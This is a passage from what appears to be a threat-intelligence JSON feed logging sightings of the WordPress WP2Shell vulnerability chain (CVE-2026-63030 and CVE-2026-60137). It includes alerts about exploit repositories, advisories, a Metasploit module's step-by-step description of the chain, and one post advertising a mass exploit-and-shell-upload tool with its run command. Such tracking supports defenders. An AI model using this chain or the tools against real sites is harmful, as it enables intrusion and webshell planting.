"2026-07-31T08:00:03.725129Z", "kind": "sighting", "label": "Seen", "source": "Telegram/SpHcF5o5W-zb5RnmDP-EoqwVpXHZEobhM5Z8fIn-sbJxq28", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "46c2ad12-660b-421a-9893-4881bff18752"}, {"timestamp": "2026-08-01T00:00:36.720Z", "date_only": false, "value": "2026-08-01T00:00:36.720065Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/SpHcF5o5W-zb5RnmDP-EoqwVpXHZEobhM5Z8fIn-sbJxq28", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "91b43002-1424-41e9-a6eb-3cc231e421bd"}, {"timestamp": "2026-08-01T00:00:46.373Z", "date_only": false, "value": "2026-08-01T00:00:46.373101Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/95919", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e816c1d3-a0c1-4549-bc79-167c2bd34050", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030-WP2Shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Industri4l-H3ll-Xpl0it3rs\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-30 22:38:34\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 Exploit | by gr1tx\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95919"}, {"timestamp": "2026-08-01T16:00:04.228Z", "date_only": false, "value": "2026-08-01T16:00:04.228820Z", "kind": "sighting", "label": "Seen", "source": "Telegram/XmVvH6UtN7-gCe9ILrkWYtW7P9LJK3s3Bp7zoYIg-DtLmu8", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e88399e0-84f6-4249-a5d2-7028c00688d5"}, {"timestamp": "2026-08-02T00:00:41.356Z", "date_only": false, "value": "2026-08-02T00:00:41.356979Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/XmVvH6UtN7-gCe9ILrkWYtW7P9LJK3s3Bp7zoYIg-DtLmu8", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "4e08c1de-cc17-4088-ad13-ecea3e78085b"}, {"timestamp": "2026-08-04T12:00:07.887Z", "date_only": false, "value": "2026-08-04T12:00:07.887305Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/96583", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d04d35ce-65a4-4420-b841-97eae3299fb3", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-rce\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a johnlodan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a TypeScript\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-04 10:07:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress CVE-2026-63030 and CVE-2026-60137 security tool for detecting exposure to the WP2Shell pre-authentication RCE chain.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/96583"}, {"timestamp": "2026-08-04T15:00:04.741Z", "date_only": false, "value": "2026-08-04T15:00:04.741263Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/96609", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "98af3c72-9a03-4142-91a6-cd2eeef4c077", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2exp-2026\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rechandra\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-04 13:45:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress All-in-One Exploit Framework \u2014 detector, scanner, enumerator, exploit, escalation. 10 CVEs from the 2026-08 wave incl. CVE-2026-63030 (wp2shell).\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/96609"}, {"timestamp": "2026-08-05T09:12:58.446Z", "date_only": false, "value": "2026-08-05T09:12:58.446475Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kooteksec.bsky.social/post/3msd6pqegic2e", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "888c57cb-3a5f-4315-bb50-dc67f8b8cd28", "content": "Outbreak Alert-\nThere's been exploitation attempts targeting the WP2Shell attack chain (CVE-2026-63030 and CVE-2026-60137), a critical unauthenticated remote code execution (RCE) vulnerability affecting WordPress Core. Learn more about this vulnerability  at: kootek.co.uk/outbreak-ale...", "url": "https://bsky.app/profile/kooteksec.bsky.social/post/3msd6pqegic2e"}, {"timestamp": "2026-08-05T19:00:06.301Z", "date_only": false, "value": "2026-08-05T19:00:06.301267Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/96790", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0e0bffb6-8a16-4109-8248-366b43f551d2", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sowarma\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-05 17:49:04\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 & CVE-2026-60137 RCE chain proof-of-concept\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/96790"}, {"timestamp": "2026-08-05T23:00:06.039Z", "date_only": false, "value": "2026-08-05T23:00:06.039540Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/96820", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "717aeabb-fafa-4329-b6b4-282368718a4e", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a AnggaTechI\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-05 21:33:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress Core Pre-Auth RCE \u2014 Batch Route Confusion + SQL Injection\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/96820"}, {"timestamp": "2026-08-06T00:00:37.397Z", "date_only": false, "value": "2026-08-06T00:00:37.397286Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/96583", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "af092497-021a-497c-a4a2-adc4d8c32092", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-rce\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a johnlodan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a TypeScript\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-04 10:07:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress CVE-2026-63030 and CVE-2026-60137 security tool for detecting exposure to the WP2Shell pre-authentication RCE chain.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/96583"}, {"timestamp": "2026-08-07T10:17:14.909Z", "date_only": false, "value": "2026-08-07T10:17:14.909466Z", "kind": "sighting", "label": "Seen", "source": "Telegram/bbx9K9urUvLk9j7eRGPtX22H_KZReCaTNQIGDAxVzdKgmeI", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "bab87fe6-b8e4-46e8-bace-7f39e5ac10b2"}, {"timestamp": "2026-08-07T10:19:25.576Z", "date_only": false, "value": "2026-08-07T10:19:25.576893Z", "kind": "sighting", "label": "Seen", "source": "Telegram/93z-LIlEULZWbnwEzYtTEAqd1z1QFNuHcbWGMZMdxRz5WQ4", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "842f2b40-5fb0-4b24-b3c4-594a76d8a80d"}, {"timestamp": "2026-08-07T14:00:03.900Z", "date_only": false, "value": "2026-08-07T14:00:03.900232Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/oxsmzN72ptzSRc-yQCAhBGNkk4jb_S5uP4yRBjgUvDuDK20", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "3e7ea3ff-a590-4ef2-9d3c-62f3d0ff7175"}, {"timestamp": "2026-08-08T20:00:03.684Z", "date_only": false, "value": "2026-08-08T20:00:03.684886Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/97204", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "132fb7b4-e316-418a-98f8-ad4760de96ba", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-Exploit-Waf-Bypass\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a M4xSec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-08 17:41:07\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress Pre-Auth RCE Exploit + Scanner + WAF Bypass | CVE-2026-63030 + CVE-2026-60137 | Go + Python + Metasploit modules + Docker lab\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/97204"}, {"timestamp": "2026-08-09T05:11:07.834Z", "date_only": false, "value": "2026-08-09T05:11:07.834202Z", "kind": "sighting", "label": "Seen", "source": "Telegram/_vir8PHcFXMNY3qmJBX6iWTyJzWWGg928tieDwqp2_1Bjyo", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "31e7626b-fab1-47c2-a7f5-14f7b56df847"}, {"timestamp": "2026-08-09T09:01:25.145Z", "date_only": false, "value": "2026-08-09T09:01:25.145927Z", "kind": "sighting", "label": "Seen", "source": "Telegram/JSM4bX24RCI5XRf3zVUpH_KkSALcdaLmObr3UaL_pJ9bebrl", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "90a4c149-d127-425a-82f5-f1185ec4cb38"}, {"timestamp": "2026-08-10T00:00:09.439Z", "date_only": false, "value": "2026-08-10T00:00:09.439364Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/_vir8PHcFXMNY3qmJBX6iWTyJzWWGg928tieDwqp2_1Bjyo", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "4c6c9806-e543-401e-b381-575d773a6a44"}, {"timestamp": "2026-08-10T05:00:04.827Z", "date_only": false, "value": "2026-08-10T05:00:04.827398Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ZeroEthical_Channel/2137", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "c577b3e6-0520-49b6-949a-f40d84af9bb0", "content": "CVE-2026-63030 - WordPress Core Pre-Auth RCE Mass Exploit", "url": "https://t.me/ZeroEthical_Channel/2137"}, {"timestamp": "2026-08-10T10:02:08.994Z", "date_only": false, "value": "2026-08-10T10:02:08.994848Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wp_batch_desync_rce.rb", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e8f9c738-bd72-4635-ae2f-96a68fb9efb2", "content": "{\"aliases\": [], \"arch\": \"php, cmd\", \"author\": [\"Adam Kues\", \"TF1T\", \"dtro\", \"haongo\", \"Crypto-Cat\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module chains two WordPress core vulnerabilities, together known as\\n          WP2Shell, to gain unauthenticated remote code execution against default\\n          installs of WordPress 6.9.0-6.9.4 and 7.0.0-7.0.1.\\n          The vulnerabilities are fixed in WordPress 6.9.5 and 7.0.2.\\n\\n          CVE-2026-60137 is an SQL injection in WP_Query's author__not_in parameter, and\\n          CVE-2026-63030 is a REST API batch endpoint route-confusion bug that lets an\\n          unauthenticated request reach that injection.\\n\\n          The module uses the injection to read the database table prefix and the\\n          administrator user ID, poisons WordPress' object cache to publish a crafted\\n          customizer changeset, and re-enters the REST API with administrator privileges\\n          to create a new administrator account. It then logs in as that account, uploads\\n          a plugin containing a Metasploit payload, and executes it for a session. Once a\\n          session is obtained the uploaded plugin is removed, and the created administrator\\n          account is removed as well unless KeepAdmin is set.\", \"disclosure_date\": \"2026-07-17\", \"fullname\": \"exploit/multi/http/wp_batch_desync_rce\", \"is_install_path\": true, \"mod_time\": \"2026-08-06 12:35:36 +0000\", \"name\": \"WordPress WP2Shell REST API Batch Route Confusion SQLi to RCE\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"artifacts-on-disk\", \"config-changes\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/wp_batch_desync_rce.rb\", \"platform\": \"Linux,PHP,Unix\", \"post_auth\": true, \"rank\": 600, \"ref_name\": \"multi/http/wp_batch_desync_rce\", \"references\": [\"CVE-2026-63030\", \"CVE-2026-60137\", \"URL-https://wordpress.org/news/2026/07/wordpress-7-0-2-release/\", \"URL-https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/\", \"URL-https://github.com/Crypto-Cat/wp2shell\", \"URL-https://wp2shell.com/\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"PHP In-Memory\", \"Unix/Linux Command Shell\"], \"type\": \"exploit\"}", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wp_batch_desync_rce.rb"}, {"timestamp": "2026-08-10T23:00:03.272Z", "date_only": false, "value": "2026-08-10T23:00:03.272251Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/97494", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "485456d7-4b74-472d-9f51-c586a5b7924a", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a g0d150ne\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-10 21:08:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWP2Shell is a powerful and modular exploit framework that combines two critical WordPress vulnerabilities (CVE-2026-63030 and CVE-2026-60137) to achieve complete compromise of a target site without any credentials. \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/97494"}, {"timestamp": "2026-08-11T00:00:06.604Z", "date_only": false, "value": "2026-08-11T00:00:06.604884Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/97494", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f209ab9e-ffef-4d6d-86e0-33c1cf962bd8", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a g0d150ne\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-10 21:08:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWP2Shell is a powerful and modular exploit framework that combines two critical WordPress vulnerabilities (CVE-2026-63030 and CVE-2026-60137) to achieve complete compromise of a target site without any credentials. \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/97494"}, {"timestamp": "2026-08-12T16:00:04.457Z", "date_only": false, "value": "2026-08-12T16:00:04.457475Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/NullXTeam/3067", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e4d88014-f79d-41c3-b20d-228c8f8ae1f5", "content": "mari bersama kita ramaikan wp2shell\n\nhttps://github.com/ZephrFish/wp2shell-scanner\nCVE-2026-60137: WP 6.8.0 - 6.8.5\nCVE-2026-63030: WP 6.9.0 - 6.9.4 & 7.0.0 - 7.0.1", "url": "https://t.me/NullXTeam/3067"}, {"timestamp": "2026-08-13T08:46:49.668Z", "date_only": false, "value": "2026-08-13T08:46:49.668924Z", "kind": "sighting", "label": "Seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-034", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1961888c-7a46-4573-920a-707956e9178b", "url": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-034"}, {"timestamp": "2026-08-16T13:07:06.534Z", "date_only": false, "value": "2026-08-16T13:07:06.534479Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mt7axjjpjr2h", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "2c551cb3-c5b2-4e00-970d-1be8c1cd3859", "content": "\ud83d\udccc New WordPress Vulnerability CVE-2026-63030 Allows Unauthenticated Remote Code Execution https://www.cyberhub.blog/article/29411-new-wordpress-vulnerability-cve-2026-63030-allows-unauthenticated-remote-code-execution", "url": "https://bsky.app/profile/cyberhub.blog/post/3mt7axjjpjr2h"}, {"timestamp": "2026-08-16T19:00:04.108Z", "date_only": false, "value": "2026-08-16T19:00:04.108488Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/FOx_CyberSecurity/46", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e13df031-e030-45e4-b315-86b3c8839dcb", "content": "wp2shell \u2014 CVE-2026-63030 + CVE-2026-60137 : WordPress core pre-auth RCE. \n\nMass (Exploit + Login + UP-Shell) \ud83e\udd8a\n\nRun:\nwp2shell.py wordpress.txt\n\nFiles folder must be present with Python file.\n\n#AnonymousFox", "url": "https://t.me/FOx_CyberSecurity/46"}, {"timestamp": "2026-08-17T01:07:06.969Z", "date_only": false, "value": "2026-08-17T01:07:06.969822Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mtaj6xrhci2f", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "9f51d17f-9c41-455a-8c35-2087f40b54bf", "content": "\ud83d\udccc Public Exploit Released for WordPress Core Pre-Auth RCE Vulnerability (CVE-2026-63030) https://www.cyberhub.blog/article/29332-public-exploit-released-for-wordpress-core-pre-auth-rce-vulnerability-cve-2026-63030", "url": "https://bsky.app/profile/cyberhub.blog/post/3mtaj6xrhci2f"}, {"timestamp": "2026-08-17T10:07:06.305Z", "date_only": false, "value": "2026-08-17T10:07:06.305609Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mtbhekxjvb2u", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "3ba39f9c-fbd6-4504-9fd0-4c77e9b426ff", "content": "\ud83d\udccc Analysis of Pre-Authentication RCE Vulnerability in WordPress Core (CVE-2026-63030) https://www.cyberhub.blog/article/29290-analysis-of-pre-authentication-rce-vulnerability-in-wordpress-core-cve-2026-63030", "url": "https://bsky.app/profile/cyberhub.blog/post/3mtbhekxjvb2u"}, {"timestamp": "2026-08-17T10:07:06.968Z", "date_only": false, "value": "2026-08-17T10:07:06.968538Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/potato.software/post/3mtbhelmlk72y", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "30f5c1c7-e240-433f-89a9-a02294b96092", "content": "\ud83d\udccc Analysis of Pre-Authentication RCE Vulnerability in WordPress Core (CVE-2026-63030) https://www.potatohub.blog/article/29290-analysis-of-pre-authentication-rce-vulnerability-in-wordpress-core-cve-2026-63030", "url": "https://bsky.app/profile/potato.software/post/3mtbhelmlk72y"}, {"timestamp": "2026-08-19T02:10:40.678Z", "date_only": false, "value": "2026-08-19T02:10:40.678657Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mtfnogo7cc2h", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a746d3f5-1385-4782-809a-56689eeec7e4", "content": "\u300cWordPress\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027 - \u9023\u9396\u3067RCE\u306e\u304a\u305d\u308c\n\n\u30b3\u30f3\u30c6\u30f3\u30c4\u30de\u30cd\u30b8\u30e1\u30f3\u30c8\u30b7\u30b9\u30c6\u30e0\u300cWordPress\u300d\u306e\u958b\u767a\u30c1\u30fc\u30e0\u306f\u73fe\u5730\u6642\u95932026\u5e747\u670817\u65e5\u3001\u300c\u540c7.0.2\u300d\u3092\u306f\u3058\u3081\u3068\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30ea\u30fc\u30b9\u3092\u516c\u958b\u3057\u305f\u3002\u6df1\u523b\u306a\u8106\u5f31\u6027\u3078\u5bfe\u51e6\u3057\u3066\u304a\u308a\u3001\u65e9\u6025\u306b\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u5b9f\u65bd\u3059\u308b\u3088\u3046\u5229\u7528\u8005\u306b\u6c42\u3081\u3066\u3044\u308b\u3002\n\n\u4eca\u56de\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3067\u306f\u30012\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-63030\u300d\u300cCVE-2026-60137\u300d\u3078\u5bfe\u51e6\u3057\u305f\u3002\u3053\u308c\u30892\u4ef6\u306e\u8106\u5f31\u6027\u3092\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u30ea\u30e2\u30fc\u30c8\u3088\u308a\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u306b\u306a\u308b\u3068\u3044\u3046\u3002\n\n\u300cCVE-2026-60137\u300d\u306f\u3001\u4e00\u90e8\u95a2\u6570\u306e\u30d1\u30e9\u30e1\u30fc\u30bf\u306b\u5bfe\u3059\u308b\u5165\u529b\u691c\u8a3c\u4e0d\u5099\u306e\u8106...", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mtfnogo7cc2h"}, {"timestamp": "2026-08-20T02:16:35.928Z", "date_only": false, "value": "2026-08-20T02:16:35.928509Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mti6hy6gdc2k", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "3063ee04-0898-4fb6-b854-8778ab2f7255", "content": "CISA Adds Four Known Exploited Vulnerabilities to Catalog\nRelease Date July 21, 2026\n\nCVE-2021-27137 DD-WRT Stack-Based Buffer Overflow Vulnerability\nCVE-2026-0770 Langflow Inclusion of Functionality from Untrusted Control Sphere Vulnerability  \nCVE-2026-63030 WordPress Core Interpretation Confli...", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mti6hy6gdc2k"}, {"timestamp": "2026-08-20T16:44:02.012Z", "date_only": false, "value": "2026-08-20T16:44:02.012914Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/dataguidance.bsky.social/post/3mtjox3kkt326", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "20647869-7874-4069-a4ee-c69098a6a194", "content": "Saxony\u2019s data protection authority warns WordPress and Joomla operators about critical vulnerabilities.\n\nKey actions:\n\ud83e\ude79 Patch CVE-2026-60137, CVE-2026-63030, and CVE-2026-48907\n\ud83d\udce3 Assess GDPR notification duties after unauthorized access\n\nLearn more: https://bit.ly/3ScJoJD", "url": "https://bsky.app/profile/dataguidance.bsky.social/post/3mtjox3kkt326"}, {"timestamp": "2026-08-20T22:05:19.126Z", "date_only": false, "value": "2026-08-20T22:05:19.126511Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mtkavmesvk2o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "c84db9d7-451a-4b95-a5b2-129d94a8aa5f", "content": "\u300cWordPress\u300d\u300cLangflow\u300d\u306e\u8106\u5f31\u6027\u60aa\u7528\u306b\u8b66\u6212\u3092 - \u7c73\u5f53\u5c40\u304c\u6ce8\u610f\u559a\u8d77\n\n\u7c73\u5f53\u5c40\u306f\u3001\u300cWordPress\u300d\u3084\u300cLangflow\u300d\u306a\u3069\u3067\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u3066\u3044\u308b\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u6ce8\u610f\u559a\u8d77\u3092\u884c\u3063\u305f\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u73fe\u5730\u6642\u95932026\u5e747\u670821\u65e5\u3001\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u306b4\u4ef6\u306e\u8106\u5f31\u6027\u3092\u8ffd\u52a0\u3057\u305f\u3082\u306e\u3002\n\n\u30b3\u30f3\u30c6\u30f3\u30c4\u30de\u30cd\u30b8\u30e1\u30f3\u30c8\u30b7\u30b9\u30c6\u30e0\u300cWordPress\u300d\u306b\u78ba\u8a8d\u3055\u308c\u305f2\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-60137\u300d\u300cCVE-2026-63030\u300d\u3092\u8ffd\u52a0\u3057\u305f\u3002\u958b\u767a\u30c1\u30fc\u30e0\u3067\u306f\u3053\u308c\u3089\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u9023\u9396\u7684\u306b\u60aa\u7528\u3055\u308c